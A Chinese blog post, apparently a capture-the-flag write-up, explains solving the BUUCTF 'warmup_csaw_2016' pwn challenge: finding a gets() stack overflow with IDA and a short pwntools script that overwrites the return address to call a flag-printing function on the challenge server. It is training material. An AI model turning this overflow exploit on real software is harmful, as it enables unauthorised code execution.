zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN3——warmup_csaw_2016

    [BUUCTF]PWN3——warmup_csaw_2016

    题目网址:https://buuoj.cn/challenges#warmup_csaw_2016

    步骤
    例行检查,64位,没有开启任何保护
    在这里插入图片描述
    nc一下,看看输入点的字符串,看到回显了一个地址,之后让我们输入,输入完之后就退出了
    在这里插入图片描述
    用64位ida打开附件,首先shift+f12查看程序里的字符串,可以看到有一个“cat flag.txt”字符串引人注目
    在这里插入图片描述
    双击字符串跟进,ctrl+x查看哪个函数调用了这个字符串,找到函数后按f5反编译成我们熟悉的伪代码

    在这里插入图片描述
    可以看到sub_40060D()这个函数的作用就是输出flag的文件信息,记一下这个函数地址,flag_addr=0x40060D

    之后回到查看字符串的窗口,根据之前nc时看到的字符串找到输入点
    (我们一般做题的时候应该从main函数开始看程序,了解程序的逻辑,只是我感觉根据nc得到的输入点的字符串能更快的找到输入点,看看输入点是否存在漏洞,一般输入点的函数就是main函数,或者被main函数调用)
    在这里插入图片描述
    输入点在第11行,gets函数没有限制我们写入字符串的长度,存在溢出漏洞,然后看到ida反编译出来v5的大小是0x40,只要我们输入的字符串长度=0x40+8(64位ebp的长度)即可溢出到返回地址,然后将返回地址覆盖成读出flag的那个函数地址即可完成利用

    from pwn import*
    
    r=remote('node3.buuoj.cn',27119)
    flag_addr=0x40060D
    
    payload='a'*(0x40+8)+p64(flag_addr)
    
    r.sendline(payload)
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    写给新的一年(2015)
    Lucene.Net 入门级实例 浅显易懂。。。
    EF webapi json序列化 表间相互引用 无限循环问题解决方案
    java枚举使用详解,整理的很好,只能收下。。。
    mac
    ASP.NET Web API 全局权限和异常处理
    c# 与 java 语法异同
    tfs 报错解决方案:tf400324
    使用C#开发ActiveX控件
    android 更新listview 其中一行的数据显示
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273730.html
Copyright © 2011-2022 走看看